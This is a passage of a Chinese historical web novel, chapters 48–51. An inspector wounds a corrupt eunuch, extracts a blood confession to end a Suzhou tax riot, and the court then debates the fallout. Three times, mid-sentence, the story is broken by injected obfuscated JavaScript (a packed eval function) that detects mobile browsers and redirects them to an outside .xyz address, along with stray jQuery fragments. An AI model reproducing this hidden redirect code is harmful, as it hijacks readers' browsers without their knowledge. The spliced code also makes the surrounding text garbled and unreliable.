苏杭等处提督织造兼理税务司礼监太监——孙隆,就藏在苏州知府衙门里。
卢点雪悄无声息地从后门进来时,此人正焦灼地在大堂里漫无目的地乱转着。
“李知府,你可得想清楚了,你到底出不出兵?!”
孙隆转过身,猛地一拍桌子,整个身体向对面的李平倾去,目眦欲裂。
“本府不是说过很多次了吗,不出就是不出,还要我重复几遍?”
李平不甘示弱,就这么梗着脖子和孙隆硬杠起来。
“这些兵是用来抵御外寇的,怎可用于镇压民变!如若将兵锋指向无辜的百姓,那只会是火上浇油,让局势变得一发不可收拾!”
“都到这个时候了,你觉得场面还有可挽回的余地?这群暴民都敢当街打死税使,将制造局给团团围住,你以为你的知府衙门还能撑多久!只要他们抄着家伙硬闯府衙大门,那就更加坐实了造反之罪!”
“这不是还没有被包围嘛,不然您这么一个皇上眼前的红人儿,也不会余尊降贵地躲到我这小地方避难。”
话说着,李平斜眼瞧着孙隆,目中满是嘲讽,
“再说,矿税和商税又不是本府派人去收的,我有什么可担心的?就算被围,本府也问心无愧。”
“这是皇上的旨意,你有多大的胆子敢质疑皇上,尽在这说风凉话?!”
孙隆气急,仿佛一个被点燃的炮仗,喋喋不休在李平面前大喊大叫起来。
“李平我告诉你,别以为你身后有内阁撑腰,咱家但凡是在你苏州府的地界上出了事,你和季无忧一个也逃不掉!”
“别忘了,眼下应天巡抚毛都堂还有沈指挥皆在江南。李知府,本官劝你三思而后行。”
“哦,好吧,既然中贵人觉得本府没什么用,只会说风凉话,那您还是去外头耍威风吧,恕本府不奉陪了。”
李平对孙隆的话充耳不闻,懒散地打了个哈欠,置若罔闻。
“李平,你敢——!”
“竟然直呼知府的名讳,真是没规矩,司礼监就是这么教人做事的吗?难怪搞得像现在这般一塌糊涂。”
听得差不多了,卢点雪这才从暗处缓缓走出,使自己充分暴露在阳光下。
“你是何人,竟敢偷听咱家讲话?”
孙隆眉毛一竖,当即就要发作。
然而当他的目光触及到卢点雪官袍的颜色,还有身前补子绣着的纹样时,他明显愣了一下。
这让他有些困惑。
孙隆仔细一看,才发现眼前之人竟是位女子,终于认出此人的身份,眼神顿时带上了几分轻蔑之意,
“原来是卢巡按,失敬了。你在指责旁人时,可否想过自己在背后偷听他人谈话亦非君子所为?”
“您是小人,我是小女子,咱们彼此彼此。”
卢点雪并不因孙隆的话语而动怒,反唇相讥道,
“倘若中使认为自己确实是位君子,那还请您成人之美,另寻他处吧,苏州府衙供不起您这么一尊大佛。”
“卢巡按,咱家劝你不要不识好歹。你也不想想,究竟是谁放你出诏狱,当上应天巡按的!”
“当然是皇上。”
卢点雪想也不想,当即回答道。
“没有老祖宗的照拂,你以为你还能活到今天?”
孙隆头一扬,趾高气扬地接着说,
“咱家也是奉了厂公之命行事,来苏州收的矿税和商税。咱家的任务即已完成,而你们的当务之急,就是平了这群乱民!”
“哦?那照中使的意思,是首席秉笔太监赵除佞命你强加税赋,欺辱百姓的?”
卢点雪步步紧逼,半点不让,
“恐怕厂公如今早已是恨透了你,巴不得将你推出去平民愤,好保全自己。”
“来人,给我把衙门大门打开!这暗无天日的苏州府,是该敞开来透会儿气了!”
卢点雪一声令下,知府衙门里的人即刻冒出,二话不说就将门栓拿掉,协力推开大门。
这时孙隆的脸上才浮现出一抹惧色,但他仍在强撑着面子。
“卢点雪,你不要敬酒不吃吃罚酒,老祖宗毛都堂和沈指挥不会放过你的——!”
“他们放不放过我,我不知道。我只知道,百姓不会放过你,而我,也不会放过你。”
“上一个这么嚣张的还是黄健节。当然,他已经死了。”
“中贵人,您也快了。”
众人眼前寒光一闪,卢点雪竟是直接从身后抽出一把剑来。
李平本还在幸灾乐祸地旁观着孙隆神情的变化,但乍一看到那抹寒光,不免也愣了愣。
他定睛一瞧,只见那剑花纹细凿,冷气森然,一面刻着张牙舞爪的蛟龙,一面刻着展翅高飞的凤凰,且剑身上饰有北斗七星以应天象之形。
正是尚方剑!
此时,卢点雪就拿着这柄尚方剑,在府衙外人声鼎沸的喧嚣声中,一步一步朝孙隆走来。
“你,你要干什么——!”
这下孙隆是真怕了,一屁股跌坐在地上,两条腿完全不听使唤地抖了起来。
“如您所见,我是来为民除害的。”
卢点雪面带杀气,神情如同手中的尚方剑一般冰冷。
“咱家可是皇上派的钦差!你不能杀我,你没有这个权力!”
孙隆哆嗦着向后挪去,满眼不可置信。
“巧了,本官也是代天子巡狩,你说本官有没有权斩了你?”
“卢点雪,我警告你!杀了我,你也别想活着进京了!”
“呵,我卢点雪若真是贪生怕死之辈,当初就不会冒着被杀头的风险,女扮男装参加科考。”
卢点雪冷哼一声,并不将孙隆的话放在心上,反而是步步紧逼。
话语交锋间,箭弩拔张的气势更甚。
“不行啊卢巡按,万万不要冲动!你杀了他,那就相当于彻底和司礼监撕破了脸!”
李平终于回过神来,飞速扑到卢点雪面前,想要拦下她手中的剑。
他毕竟是被贬过一次的人,什么话能说,什么话不能说;什么事能做,什么事不能做,他还是清楚的。
“他不能死,至少现在不能死!就算你有权越级杀人,之后的事你能保证全应付得来吗?杀他一个并不能解决根本问题,甚至会给苏州百姓带来更大的灾祸!”
“更有甚者,司礼监不光会将他的死因降罪于你,还会降罪于内阁,最后牵扯到全体文官的身上!你要知道你手中的这一剑,决定了很多人以后的命运!”
闻言,卢点雪的脚步一顿。
这短短的停顿,让孙隆如释重负,宛若重获新生。
他就像是抓到了救命稻草一般,双手死命抱着李平的大腿,大口地喘着气,也仍不忘补充道:
“对对对,李知府说得不错!杀我于你而言并没有什么好处,还会平白牵累到很多人!何况你用尚方剑本就是有限制,岂能对我一个四品的织造太监说杀就杀?五品以下才可杀,五品以上只可解职后上奏朝廷请示处理。你杀了我就不怕日后御史的弹劾,皇上治你罪吗!”
“是吗?”卢点雪挑了挑眉,“可是在我出狱入宫的那一日,圣上赐剑后太后娘娘就留下了懿旨,说我可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861626|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用此剑斩杀任何奸佞小人而不必受任何掣肘,事后她和圣上皆不会怪罪于我。”
“事已至此,你还有什么话想说?”
眼见卢点雪不为所动,还强硬地摁住了李平阻拦她的手臂,孙隆又惧又怒。
身前,是虎视眈眈、口口声声要杀了他的暴民和卢点雪;身后,则是挂着“明镜高悬”牌匾的墙壁,将他堵得死死的
众目睽睽之下,他没有任何退路。
“你当真是要跟我作对?”
孙隆难以置信地大喊。
“不,”卢带雪上前一步,“您说错了,是您在跟所有百姓作对。”
“卢点雪!圣上说持此剑如朕亲临,就说明你代表的是皇上,不是你自己!南直隶上上下下的大小官员敬重你,恭维你,对你唯命是从,完完全全是因为你背后站着的皇上,是皇上将他的权力赐予了你,而你本身并没有如此大的能耐!”
“不然你一个七品小官,能无视官位大小,问责处罚士绅官吏甚至地方大员吗!真是天大的笑话!”
“你既然接受了皇上予以你的特权与捷径,就要承担这背后所需要的规矩与妥协!你不再是你,不是想做什么就能做什么!”
孙隆绝望地闭上了眼,认了命。
他本也没指望光凭这几句话,就能撼动卢点雪的决心,让她放下手里的剑。
然而令他始料不及的是,卢点雪的剑并没有落下来。
“什么?你说我不是我,而是代表着皇上,那我出生入死,所做的一切究竟是为了什么?”
像是听到了什么令人难以置信的话,卢点雪低下了头,不断重复着这一句话,连连冷笑。
李平见状,不免为卢点雪担心起来。
此时他也顾不上孙隆了,关切地问道:“澄怀,你还好吗……?”
“无事,我并无大碍,只是觉得有些好笑。”
片刻,卢点雪就恢复了神智,变成正常的模样。
“抱歉,方才是我失态了,一时竟被几句话给扰乱心神。”
“孙中使,你或许说得有几分道理。但是如今我站在这里,对着所有饱经磨难的百姓们,我,只会是我,不会是任何人的附庸——!”
她话还没说完,手中的尚方剑就已高高举起,在众人不设防与惊诧的目光下,以破竹之势,毫不犹豫地朝孙隆挥去——
随后这把剑于中途突然调转了个方向,变砍为刺,狠狠地刺穿了孙隆的小腿,将他牢牢地扎在地上,动弹不得。
殷红的血顿时从伤口处喷涌而出,渐渐地蔓延了一地,有不少还溅到了卢点雪崭新的蓝色官袍上。
孙隆痛呼一声,额上霎时冒出一堆冷汗。
在孙隆痛苦的呻吟声,卢点雪面无表情地从袖中掏出一沓宣纸,“啪”地一声拍在孙隆胸口,毫不留情地扒开他攥着衣袖右手,硬塞了一支毛笔给他:
“写,现在就写一则认罪书,向苏州百姓忏悔你的所作所为,还要盖上你的公印,本官要公之于众。”
“我,我没有墨,还请李知府,帮,帮咱家研个墨……”
孙隆疼得话都说不利索,断断续续的,全无先前半点嚣张样。
“哪里需要这么麻烦,李知府,这里用不上您。”
卢点雪就这么轻飘飘地瞥了一眼李平,吓得正准备去研磨的李平魂不附体。
李平颤抖着将手中的墨条放回桌上后,便软趴趴地倒在了椅子上,惊疑不定地看着卢点雪笑眯眯地对孙隆道:
“地上这么一大片的血,您难道还不够用吗?”
“快写吧孙中使,血书才更能更显得您诚心实意,不是吗?”
49. 第 49 章
在卢点雪一声声的催促中,孙隆不得不强忍着此起彼伏的痛意,颤巍巍地提起笔。
“哦对了孙中使,什么话能写,什么话不能写,您还是知道的吧?应该用不着我报一句,您写一句?”
卢点雪笑眯眯地望着孙隆,脸上终于露出了一个愉快的表情。
只是这笑容在孙隆看来,不亚于阎王的催命符。
“不劳卢巡按挂怀,一切祸因皆出自我,跟旁人没有任何关系。是我贪污心切,歪曲了厂公最初的本意,这才落得如此下场。”
孙隆心中那叫一个恨,却也只能咬碎了牙往肚子里吞。
待孙隆写完,卢点雪过目后,满意地点了点头。
她唤来几个书吏,命他们将其各抄录若干份,一起加盖官印。
“卢巡按,烦情您……帮忙盖下吧。”
孙隆疼得死去活来,终于承受不住,身子往旁边一歪,晕过去了。
卢点雪立马嫌弃地往旁边站了站,不想还是被溅到了不少血。
她拎起衣摆,皱着眉头了瞧。
崭新的官袍上赫然有两大片沾染到的污渍,这让她的内心很是不满。
就连嘴角刚刚浮现出的笑意,也被压下了几分。
“李知府,您这有印泥吗?”
“……”
李平呆愣愣的,没有反应。
“李知府,请问我可否借用下您的印泥吗?”
卢点雪以为李平被吓傻了,于是稍微提高了点音量,语气变得温和些。
“有,有,就在这!”
听到卢点雪再次喊他,李平一个激灵,终于缓了过来。
他小心翼翼地避开地上的血迹,双手将印泥呈给卢点雪。
“澄怀,怎么盖印的时候,你就不用他的血了?”
李平歪着脑袋,怯生生地冒了这么一句,说出的话却相当不客气。
要是孙隆还醒着的话,估计又要被气晕过去。
闻言,卢点雪顿时使了个“你是傻子吗”的眼神,略有些无语。
“舒和兄,请您动一下脑子,用血盖章,那能盖得上去吗?就算能印上去,不久后字在纸上肯定也会糊成一团,这样谁还能辨得清印主的身份?”
“有道理。”
李平若有所思地点点头,退了下去。
走之前,他还是决定瞅一眼孙隆,觉得中使大人的情况似乎不是很好,便招呼来医师治伤。
二人合力将孙隆抬下去。
让这引起民变的罪魁祸首躺在大堂里,有损他知府衙门的斯文与气派。
要不是孙隆是皇上钦派的,责任重大,不能轻易死在他苏州府的地盘上,不然他早就把这人推出去交给乡亲们了。
而这边的卢点雪,仍还有件大事要做。
只见卢点雪拿起孙隆亲笔写下的血书,盖上官印,大步流星地走出大厅,在众多义愤填膺的百姓面前,将血书一举,沉声道:
“苏杭等处提督织造兼理税务司礼监太监孙隆现已认罪,本官以应天巡按之名义,取尚方宝剑将其惩戒完毕!孙隆亲笔所书的认罪书在此,稍后会派人将抄本张贴在各县县衙的榜廊上,让诸位一睹为快。”
“今日,本官定书信一封,将孙隆在贵地的罪行,毫发无遗地写进奏疏里,六百里加急送呈至圣上,让他接受大琝律最公正无私的审判!”
“所以,还请乡亲们放下手中武器。本官在此郑重承诺,定不会追究你们的责任!”
卢点雪一番慷慨陈词,动摇了不少百姓们的心,但部分人还有些将信将疑。
躲在人群中围观情形的邓礼此时也趁热打铁,赶紧大声补充道:
“卢巡按说得对!本县也在此承诺,不再参与民变者,签字画押后可获稻米一袋!来来来,现在就可以跟着本县回县衙去领!”
这时,最先发起民变的那名葛成站了出来,投案自首,义正言辞道:
“李知府,卢巡按,一人做事一人担,杀人之罪全算在我的头上吧,不要连累乡亲们!此事既是由草民策划并引导的,那就抓草民进大牢吧。不然你们一个人都不抓,如何向朝廷交待?我们苏州府不愿失去你们这样的好官!”
此话一出,百姓们不再犹豫,纷纷响应。
迎着葛成诚挚的目光,卢点雪沉思了一下,点点头,算是默认了此件请求。
随即让李平从后堂出来,将葛成收监。
李平心中愧疚不已,押走葛成的时候,最终还喃喃道“我实不德,以至于斯,尔民何罪?壮士其无辱”。
葛成进了牢狱,这场暴动,也以近乎完美的方式结束了。
几日后,萧府前脚刚收到苏州民变的消息,后脚就收到了卢点雪送过来的急递。
通政司刚送来的,说是片刻都不敢耽误,连带着还有李知府阐述民变经过的奏折,及其治下七个县知县一同上疏的请罪书。
季无忧原本打算先看自己徒弟的那份。
但是就在他即将展开李平的那份奏折时,他的一颗心高高悬起,生怕又是李平搞砸了什么事儿,需要他来善后。
思索了许久,季无忧最终还是选择了卢点雪的急递,好让自己可以缓缓,免得到时候被吓得心口一滞。
卢点雪所写的内容十分简练,话不多言,将苏州民变的前因后果和自己的处理方式大致交待了一番,最后是请求内阁诸位阁老为苏州发声,上奏皇上取消矿税的事儿。
季无忧看完,脸上不免露出一个满意笑容。
他拿着卢点雪的急递,喜笑颜开地望向萧锵:
“老师,您果然慧眼如炬啊!这卢点雪的确是个可造之才,您确实没看错人!”
站在一旁察言观色的通政使听到季无忧的话后,立马凑上来恭维道:
“恭喜阁老,贺喜阁老,您又得一得力之人!”
然而,他的这番话,并没有得到萧阁老的任何回应。
通政使一时有些尴尬,就这般窘迫站在原地,不久就口干舌燥起来。
小厮们则沉默地来回拉动着绳子,使得厅堂上的扇叶不停翻动着,为充满热气的室内带来一丝丝凉意。
小阁老似乎也被这暑气热得有些受不了了。
他颇为烦躁地从铺满冰块的冰鉴中取出几片西瓜,自己啃了几口,压下那一股子燥热后,才命丫鬟将冰鉴里的冰镇水果和冷饮发给众人解暑。
通政使霎时如获大赦,满怀感激地接下小阁老赏赐的东西。
季无忧自然而然地拿起一杯凉饮,斯斯文文地喝了几口,而萧锵却并没有接过。
他只略一侧头,看向季无忧,丫鬟就立刻明白了他的意思,迅速退下,将凉饮端至季无忧面前。
“哎,人年纪大了,眼花耳背的,也不能再贪凉了,伤身子。优游啊,还是由你替老夫喝了这杯吧,润润喉咙,大声念念卢巡按这封急递给我听听。”
“是。”季无忧恭顺地应下,随后朗声读了起来。
语毕,他抬头看向萧锵,心中满怀期待,
“阁老您看,民变一事她处置得确实稳妥,是吧?”
“是不错,”萧锵略微点了点头,“思维缜密,雷厉风行,难得啊。只是老夫听苏州的一些乡绅们言道,这卢巡按似乎有些冲动。当时众目睽睽之下,她可是打算直接杀了孙隆的。”
“这不是没杀嘛,只是刺了他一剑,该让他这种走狗长长记性。”
萧藩满不在乎地打断了萧锵的话,显然没把老父亲的话听进去。
“是啊,她是没把人给杀了,可是在前一刻,连李舒和都没拦下她要斩人的剑。但转瞬之间她就做好了决断,先逼孙隆当堂认罪,稳定民情,再以耗羡为诱安抚百姓,彻底平了民变。其心绪转变之大,竟是刹那间就能扭转过来的,着实不令人不佩服。”
“同时,也不得不令人忌惮。”
萧锵在此处忽地一顿,目光转向萧藩,轻轻地叹了一声,
“还好此人是我们这边的,否则还不知要如何对付。你要是有她半分气性,也不至于总和程民安在朝堂上争得面红耳赤,平白让皇上看笑话。魏遇之日日与之共事
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888430|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这么多年下来,不也没见他跟程民安吵过架吗?”
“可能只是程国泰打不过魏与归而已,毕竟魏与归的拳头是实在的。”
萧藩一脸不情愿地撇了撇嘴,决心岔开这个话题,
“后来呢,孙隆怎么样了,死了吗?急递上她似乎没说这之后的事。优游兄,这些你还知道?”
“他跑了,”季无忧不禁皱了皱眉头,“苏州府那边没动静,反倒是正在杭州的应天巡抚毛一麓曾向圣上上疏,问询该如何处置织造太监孙隆。这封奏折通政使呈给我看过了。看来,这孙隆现在八成已是赵除佞的弃子。”
“也不一定,”萧藩思索了一下,“他孙隆一个人将所有的罪责通通揽下,并没有扯到赵除佞身上。毕竟,当时赵除佞可是鼎力推行征收矿税和商税的。苏州民变一起,他赵除佞必定首当其冲。不过,孙隆这则认罪书写得甚是精妙,半分儿没提司礼监的不是,或许赵除佞会看在这点饶他一命。”
“孙隆能不能捡回一条命,不是他赵除佞说了算,而是皇上说了算。你们怎么都忘了,这孙隆究竟是谁指派到苏州去的?”
萧锵此话一出,季无忧和萧藩皆是一惊。
季无忧的面色凝重了起来:
“难怪老师方才说卢点雪冲动了……确实,她是代天子巡狩的应天巡按,如果她执意要杀孙隆,那就是让皇上自己打自己的脸了!岂不是以子之矛攻彼之盾?还好她最后反应了过来。”
“嗯,那再读读舒和送来的吧。说来优游,你怎倒不先看自个学生的信?不想知道他的政绩如何吗?”
萧锵话刚说完,萧藩就毫不客气插了句嘴,还把耳朵给捂了起来:
“我可不听,他李舒和太能叨叨了,每次听他的奏折,活像耳边站了个监察御史在弹劾人。”
“哎,老师,实不相瞒,正逢多事之秋,看到他这封奏折,学生的心里也有些发怵。”
季无忧无奈地揉了揉眉心,最终还是认命地翻开了李平的奏折。
出人意料的是,李平一直在为参与民变的百姓求情,甚至向朝廷请求释放带头之人葛成。
李平于信中一直坚持道,暴动的百姓极为守序,从未殃及无辜。
还说有一人从税官家中抢了口古鼎,被葛成知晓后令人将其处死。
“这……恐怕有些难办,还得看内阁另外几位的意思。”
季无忧陷入了沉思,颇为为难。
而他对面的萧藩忽地出了声:
“这有何难?我们隐忍了这么久,不就是想借此机会向阉党发难,强逼圣上取消矿税吗?这事就该往大里闹,闹得越大越好!当然,这些脏水只能往孙隆和赵除佞身上泼,免得皇上觉得我们又在故意跟他唱反调,搁他面子。”
“对了,林凡安参与到其中的事儿,没什么人知道吧?”
“应该没有,何况以林凡安和卢点雪的交情,我想纵算她日后会猜到苏州府内还有富商和乡绅于暗中挑唆了这场民变。出于利益和立场,她也不会将他抖出来。”
季无忧摇了摇头,接着道,“不过木已成舟,就算现在被旁人知晓,苏州的这把火已经烧了起来,想要再熄下去就难了。”
“所以这林凡安当真可信?我总觉得这人太过圆滑,有股说不上的怪异,总觉得他不是真心实意地帮咱们。”
萧藩一回想起跟林凡安交流的书信,心里就不大舒服。
“毕竟是不入流的商人,凡是以利为先,之后跟我们一刀两断也是极有可能。不过现在他有求于我们,定不会如此愚笨。不然他那么多被孙隆加派织造的袍锻,等期限一倒,他上哪去交差?所以也就只能指望着我们把孙隆给弄走。”
季无忧不以为然,合起所有的奏折,将它们整理好交给静候在一旁的通政使,
“好,我与阁老还有小阁老都看完了,你也赶紧把它们都呈交给内阁中的另外几位。眼下,他们怕是也在眼巴巴地等着呢。”
“是。”
通政使自觉退下,拿着那几本奏折,匆匆地往宫里跑去了。
50. 第 50 章
那边内阁还在商议着苏州的情况,这边文华殿内,傅谊早已就此训上了人。
此时他就坐在椅子上,阴晴不定地看着手中的密疏。
底下,掌印太监张乾和首席秉笔太监赵除佞皆跪在傅谊的面前,噤若寒蝉。
“嗯?怎么一个两个的都不说话,莫非哑巴了不成?”
傅谊缓缓抬起头,语气十分不善。
冷冽的目光如剑一般,直勾勾地刺向那二人。
“当初跟朕推举孙隆的时候,你们不是能说会道得很吗!说啊,现在朕给你们说话的机会,你们怎倒全不吱声了?!”
傅谊再也压制不住怒气,“砰”地一声拍案而起,将卢点雪传来的密疏狠狠摔至二人面前。
“你们自己看看孙隆在苏州做的好事!给朕好好地,仔仔细细地看看!”
似是被气得不轻,傅谊说着说着,呼吸愈发急促了起来。
立在傅谊身边,正胆战心惊地观察着这一切的黄保察觉到了傅谊的情绪变化,赶紧跑去倒了一杯茶水,给皇上顺顺气儿。
“主子,当心气坏身子。”
傅谊一把接过,“咕咚咕咚”饮了大半盏,可是仍旧无济于事。心头的火气还在蹭蹭往上冒,根本消不掉。
亏自己这么信任孙隆,没想到他在苏州竟造了这么多孽!
所谓天子一怒,流血千里。
张乾被吓得匍伏在地上,额上背上止不住地冒着冷汗,眼角余光瞥到那犹如烫手山芋般的密疏,更是一哆嗦。
其中那里头夹带着的一纸血书露出了一角,只一眼,便足以令人惊心动魄。
孙隆的事他也只略知一二,具体情况也不甚清楚,毕竟消息是刚传到宫里的。
张乾还没来得及多问,就同赵除佞双双地被叫到了文华殿。
直至看到万岁爷手里的这份奏疏,他才恍然意识到:那应天巡按卢点雪可是有权直接向皇上上密疏,径直绕过司礼监和内阁的!
他和厂公偏偏都忘了这茬事!
早知当初卢点雪南下时,他们就该和孙隆打声招呼,让他收敛几分,不要和卢点雪硬杠。
这下好了,人证物证皆在,他孙隆朝不保夕了!
张乾面上的神色刹那间变了又变。
他惶恐地抬起头,见陛下的脸色愈加阴沉,隐有再要爆发之态,而旁边的赵除佞又丝毫没有想要捡起密疏的意思。
张乾一咬牙,最终还是由他将密疏从地上捡起来,翻开查看。
赵除佞跪在底下,一动不动。
傅谊看在眼里,嘴角嘲讽一勾,冷眼望去:
“赵除佞,你怎么不看看?别让张乾一个人做决定啊,你可是司礼监首席秉笔太监,东厂也是归你管的,不想想看如何惩戒你这坏了规矩的干儿子?!”
“朕如此信任他,他竟敢打着朕的旗号在苏州横征暴敛!被卢点雪教训了一通后竟还敢私自逃窜到杭州!”
“陛下息怒,”赵除佞重重地磕了个头,冷静答道,“老奴以为,卢巡按还是手下留情了。既然主子赐予了卢巡按尚方宝剑,那她自然是有权将激起民变的罪魁祸首按律处置,就地正法的。”
“然卢巡按胸怀广阔,心思缜密,凡事三思而后行,既平息了百姓们的怒火,又没有拂了陛下的面子,这件事处理得甚为妥当,只是让孙隆那该死的奴婢逃脱了!依老奴愚见,陛下应火速命锦衣卫将其槛送京师,好生拷问!”
闻言,傅谊眉梢一挑,有些意外。
他本以为赵除佞会揪住卢点雪要杀孙隆的事死死不放的。
算赵除佞识相。
“这就不劳你操心了。应天巡抚毛一鹭已向我朕禀告,说他已暂将孙隆扣押,只待我朕一声令下,就让沈指挥将他押解至京审问。”
“赵除佞,你就不好奇,这封密疏里写的什么?”
“老奴不敢,”赵除佞低垂着眼眸,“此疏是卢巡按秘密上奏给皇上的,老奴无权去看,也无意去干涉卢巡按之政务。而孙隆毕竟是臣举荐的人,他在苏州闹出了这么大的乱子,老奴难逃其咎。故而陛下若是想让臣去审孙隆,臣理应避嫌。”
“用不着。孙隆已在苏州百姓面前立下血书,肆意征税的事系他一人所为,没牵扯到你身上,你按律行事即可。”
傅谊不耐烦地挥了挥手,想让他们滚下去,让自己清净片刻。
然而,赵除佞却并没有要离去的意思。
“只是老奴以为,孙隆需得陛下亲自治罪,沈指挥也不必特意为了他再折返京城。”
“你这话是何意?”
傅谊抬起了头,目光狐疑地望向他。
“只因孙隆那般猖獗行事,如今苏州百姓乃至天下百姓,皆以为是陛下准允他的。他以陛下的名义招摇撞骗,损害的却是陛下的名声!如若卢巡按将他就地正法,那也算是代表着陛下的想法。可现如今孙隆不知悔改逃向杭州,罪上加罪,合该由陛下亲自治罪于他,也算了却这一桩麻烦事儿。”
“至于沈指挥——”
“照你这么说,卢点雪不管是杀还是不杀孙隆,她都有错,是吧?”
傅谊打断了赵除佞的话,上下打量着他,鄙夷道,
“别以为我朕不知道你打的什么算盘。她没杀孙隆,你都要给她扣上个不替朕着想的帽子上去。倘若她真把人给杀了,岂不是要弹劾她同孙隆一样侍宠而骄、以下犯上,不经朝廷请示就敢擅自斩杀四品太监?朕劝你不要动这个心思——!”
“老奴绝无此意!”
赵除佞慌忙磕头,急急解释道,
“老奴无意与卢巡按作对,只因同在江南的沈指挥曾传信于臣,说是苏州民变,另有蹊跷。”
“?”
傅谊和张乾同时一愣。
张乾睁大了眼睛,一脸震惊地望向赵除佞。
难怪被皇上召来时,他赵除佞如此镇定,敢情是早已想好了对策,却不告诉自己。
张乾的心情一时很是复杂。
说好共进退,结果转头就私下安排好了。
然而傅谊并未察觉张乾脸上这些细微的变化。
他的眉毛逐渐拧成一团,很是怀疑:“赵除佞,你不会是想为孙隆开脱,才胡诌出来的吧?”
“臣不敢,沈指挥早在听闻苏州发生民变之际,就已快马加鞭赶至吴县,暗中调查了。”
“竟有此事?!”
“是。臣今早刚收到沈指挥的密信,说是他已查出这场民变并不是偶然,而是人为鼓动的。”
赵除佞信
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913381|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心满满地说出口,未想傅谊却对此置若罔闻。
“赵除佞,朕最后再警告你一次,不要总想着给孙隆开脱就可以肆意污蔑旁人!”
“此事差不多到此为止,苏州民变没有愈演愈烈已是万幸。我朕不希望还有人要借机生事,进一步将它闹大——”
“可臣要说,正是因朝中之人和士绅富商相互勾结,这才激得苏州闹出民变,皇上可信乎?!”
这一次,是赵除佞匆忙打断了傅谊的话。
傅谊没想到他会如此大胆,竟敢直接截了自己的话头,当即怒向胆边生,正欲呵斥他。
然而就在话刚至嘴边,傅谊忽地意识到赵除佞方才所说的话是什么,瞳孔一缩,将话往肚子里一咽。
“你就如此确定?”
傅谊双眼一眯,眸中闪过几分危险的寒光。
“臣愿以项上人头作担保!所以臣说沈指挥暂不可回京,皇上和臣皆需要他在苏州搜罗证据。”
“老百姓不体谅朝廷的难处,可是这些人,这些大琝朝的蠹虫,他们不能不体谅朝廷的难处啊!”
赵除佞见此话见效,不由趁热打铁,语气愈发激动,
“皇上,您想想看年初的财政会议!国库空虚,西北大旱,西南有土司接连叛乱,东北又有女真侵扰边境。若是用以续命的矿税商税都要就此取消,那大琝朝偌大的开支该从何处开源?”
“陛下,今年年初朝廷百官的俸禄都差点发不了了,明年难道还要重蹈覆辙吗?!”
“您的心里,装的该是九州万方,而不仅仅是这一两个县的百姓!”
“国家已陷入如此危难之际,矿税商税本是权宜之策,可文武百官上上下下总有无数人横加阻拦,企图逼您收回成命!孙隆肆意妄为是不假,可他也是为了皇上着想啊!自征收矿税的国策甫一出台,全国各地上了多少道奏疏,陛下难道忘了吗?”
“这些官员表面上是为了百姓发声,为天下发声,可实际上呢,那些大大小小的矿场,有多少是在他们名下的?那些商人也皆是这般做派,比如说那金陵的富商林凡安,他不愿为朝廷加织袍锻,便暗中撺掇其厂房内的织工葛成领头生变,自己则坐收渔翁之利,其心当真是可诛!”
“林凡安的事,我朕不想知道。”
傅谊不悦地跳过了这个话题。
不知怎的,他不是非常乐意听到此人的消息。
先前卢点雪和他茶楼诉状一事,他就没搞明白过。
当时他就觉得此人扑朔迷离,相当不好对付。
何况这林凡安与卢点雪之间,似乎有着千丝万缕的关系。
傅谊还要很多事要卢点雪去做,绝不能在此事打草惊蛇,是以只能敷衍道,
“林凡安就一介商人,能闹出什么动静?多半是孙隆见他家大业大,这才趁机加派于他的吧,你不要多想。再者,他又没有官职在身,如今还远在苏州,还不如抓几个带头闹事的,治治那些不安分的。”
“我朕倒是非常好奇,朝中究竟有哪些人在和他们相互勾结,推波助澜?”
终于等到想要的话,赵除佞不免浑身发抖。
他牙齿兴奋地咬了咬下唇,口中缓缓突出几个字:
“自然是,最先反对矿税的那些人。”
51. 第 51 章
待赵除佞和张乾走后,傅谊拿定主意,翻出了那些一直被积压着的访单。
他本是不想将它们交给东厂的。
随着京察的日子越来越近,相关官员的奏疏、揭帖,在京城里可谓是是漫天飞舞。
京察由吏部、都察院长官及河南道掌道御史共同主持,吏部侍郎、文选司、考功司郎中辅佐,其中以吏部尚书权的职最大。
京察前,吏部会下发九卿科道关于各级官员情况的访单用以推举官员。
推选官员的访单需要具名,但考察所用的访单不用具名,这就难免使一些收回的访单更像是告状信甚至诬告信。
但这种“秽状满纸”的访单一般掌握在吏部尚书手中,不会进呈给皇帝也不会散布出来,只是作为京察的参考,由内阁票拟去留。
或者发还各部院重审议定是否恰当,然后造册奏请待皇帝裁决后察疏下发
但此次魏与归此次向傅谊进呈了不少访单,看来是被气得不轻,想让皇上好好惩治一些人。
傅谊随意挑了一则看看。
率先引入眼帘的,便是一个骇人听闻的帖题——《大乱将作疏》。
